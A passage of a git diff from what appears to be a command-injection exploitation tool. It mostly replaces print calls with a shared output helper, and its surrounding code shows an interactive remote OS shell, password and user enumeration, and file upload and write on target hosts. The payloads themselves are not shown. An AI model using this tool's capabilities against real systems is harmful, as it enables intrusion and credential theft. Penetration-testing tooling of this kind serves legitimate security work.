settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise except: @@ -253,13 +253,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -289,10 +289,10 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = "".join(str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.command_execution_output(shell)) + settings.print_data_to_stdout(settings.command_execution_output(shell)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -312,18 +312,18 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index c34befafa3..ab2b6665ce 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -162,9 +162,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -242,7 +241,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques tries = tries + 1 else: err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - sys.stdout.write(settings.print_critical_msg(err_msg)+"\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return response diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 91179a3172..f711bb3526 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -53,8 +53,8 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ Delete previous shells outputs. @@ -63,7 +63,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h if settings.FILE_BASED_STATE != None or settings.TEMPFILE_BASED_STATE != None: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if settings.FILE_BASED_STATE != None: if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE @@ -240,7 +240,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Cookie Injection if settings.COOKIE_INJECTION == True: @@ -323,7 +323,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: raise tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - sys.stdout.write("\r") + settings.print_data_to_stdout(settings.END_LINE.CR) message = "It seems that you don't have permissions to " message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." if not menu.options.web_root: @@ -345,7 +345,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise else: common.invalid_option(tmp_upload) @@ -360,29 +360,29 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) if 'vuln_parameter' in locals(): - # print(settings.SINGLE_WHITESPACE) + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": "," (") + ")." if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. if not menu.options.web_root: custom_web_root(url, timesec, filename, http_request_method, url_time_response) @@ -431,13 +431,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -465,10 +465,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if shell or shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.command_execution_output(shell)) + settings.print_data_to_stdout(settings.command_execution_output(shell)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -492,11 +492,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index f07f4bf303..318dc40e73 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -163,12 +163,8 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht payload = payload.split(settings.COMMENT)[0].strip() payload_msg = payload_msg.split(settings.COMMENT)[0].strip() debug_msg = "Executing the '" + cmd.split(settings.COMMENT)[0].strip() + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - output_payload = "\n" + settings.print_payload(payload) - if settings.VERBOSITY_LEVEL != 0: - output_payload = output_payload + "\n" - sys.stdout.write(output_payload) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -294,7 +290,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT = message info_msg = "Using '" + output info_msg += "' for command execution output." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not settings.DEFINED_WEBROOT: pass else: @@ -311,7 +307,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking if the file '" + output + "' is accessible." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return output @@ -337,7 +333,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): shell = checks.page_encoding(response, action="encode").rstrip().lstrip() #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace("\r", "") for newline in shell] + shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] except _urllib.error.HTTPError as e: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index fe47b9ecec..9ff7b69b93 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -82,7 +82,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_os = output if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if target_os: if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO @@ -100,7 +100,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") + settings.print_data_to_stdout("\n") # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) @@ -178,7 +178,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False cmd = settings.SYS_PASSES - #print(settings.SINGLE_WHITESPACE) + #settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) _ = True @@ -200,7 +200,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 @@ -219,49 +219,49 @@ def reset(): if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().ps_version_msg() powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.hostname: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().hostname_msg() hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.current_user: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().current_user_msg() current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.is_root or menu.options.is_admin: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.sys_info: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().os_info_msg() system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.users: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.passwords: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index c1c50d80d7..382d196197 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -57,11 +57,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0 and not _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_write_status(shell, dest_to_write) """ @@ -75,7 +75,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) """ @@ -92,7 +92,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index e6fbd63ba6..37fd763d83 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -142,7 +142,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -267,15 +267,15 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. - # print(settings.SINGLE_WHITESPACE) + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -293,7 +293,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, percent = "" else: percent = ".. (" + str(float_percent) + "%)" - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Print logs notification message logs.logs_notification(filename) #raise @@ -350,7 +350,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: @@ -359,7 +359,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -383,7 +383,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print(settings.print_output(output)) + settings.print_data_to_stdout(settings.print_output(output)) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) @@ -408,26 +408,26 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - sys.stdout.write("\r") + settings.print_data_to_stdout(settings.END_LINE.CR) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - sys.stdout.write("\r") + settings.print_data_to_stdout(settings.END_LINE.CR) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 15814e8006..8a11fcb2a8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -195,7 +195,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): # Execute shell commands on vulnerable host. if alter_shell : @@ -216,7 +216,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -250,10 +250,10 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if output_length > 1: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) else: sub_content = "Retrieved: " + str(output_length) - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) found_chars = True injection_check = False break @@ -274,8 +274,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: info_msg += "\n" if output_length > 1: - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: @@ -297,7 +297,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -336,8 +336,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, float_percent = ".. (" + str(float_percent) + "%)" info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE +"')." info_msg += float_percent - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + else: output.append(chr(ascii_char)) @@ -379,10 +379,10 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Checking the output length of the used payload. if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(timesec * ".") + settings.print_data_to_stdout(".") for output_length in range(1, 3): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(timesec * ".") + settings.print_data_to_stdout(".") # Execute shell commands on vulnerable host. if alter_shell : payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) @@ -402,7 +402,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -441,13 +441,13 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output = [] percent = 0 - sys.stdout.flush() + is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 9): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(timesec * ".") + settings.print_data_to_stdout(".") # Get the execution ouput, of shell execution. if alter_shell: payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) @@ -467,7 +467,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -506,7 +506,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if str(output) == str(randvcalc): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(" (done)") + settings.print_data_to_stdout(" (done)") return how_long, output else: checks.unexploitable_point() @@ -517,12 +517,12 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - print(settings.print_info_msg(info_msg)) - print(settings.print_output(output)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_output(output)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index 95091f24c8..389de5c0fd 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -70,22 +70,22 @@ def extra_headers(): settings.EXTRA_HTTP_HEADERS = True if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting extra HTTP headers." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) def cookie(): if menu.options.cookie and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.COOKIE + " header." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) def referer(): if menu.options.referer and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.REFERER + " header." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) def host(): if menu.options.host and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.HOST + " header." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) def user_agent(): # Check if defined "--mobile" option. @@ -93,7 +93,7 @@ def user_agent(): if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: menu.options.agent = checks.mobile_user_agents() @@ -103,24 +103,24 @@ def user_agent(): if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." - print(settings.print_critical_msg(err_msg)) + 